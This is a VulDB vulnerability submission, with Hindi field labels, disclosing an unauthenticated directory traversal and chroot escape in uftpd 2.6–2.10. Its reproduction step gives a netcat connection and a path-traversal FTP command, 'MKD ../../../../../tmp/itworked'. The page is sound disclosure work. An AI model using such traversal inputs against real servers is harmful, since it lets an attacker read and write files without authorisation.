| शीर्षक | uftpd 2.6-2.10 Directory Traversal (Chroot Escape) |
|---|
| विवरण | # Directory Traversal (Chroot Escape)
## Description
It is possible for an unauthenticated user to perform a directory traversal attack using multiple different FTP commands and read and write to arbitrary locations on the filesystem due to the lack of a well-written chroot jail in `compose_abspath`.

## Reproduction Steps
To reproduce this vulnerability, connect via `netcat <ip> <port>` and write to the FTP server socket the following:
```
MKD ../../../../../tmp/itworked
```
Then, `ls /tmp/itworked` from terminal to verify that the folder was created.
## Mitigation
Properly sanitize paths. |
|---|
| स्रोत | ⚠️ https://aaronesau.com/blog/posts/6 |
|---|
| उपयोगकर्ता | arinerron (UID 4337) |
|---|
| सबमिशन | 31/08/2019 08:36 PM (7 साल पहले) |
|---|
| संयम | 03/09/2019 07:09 AM (2 days later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 141191 [uftpd 2.6-2.10 निर्देशिका ट्रैवर्सल] |
|---|
| अंक | 20 |
|---|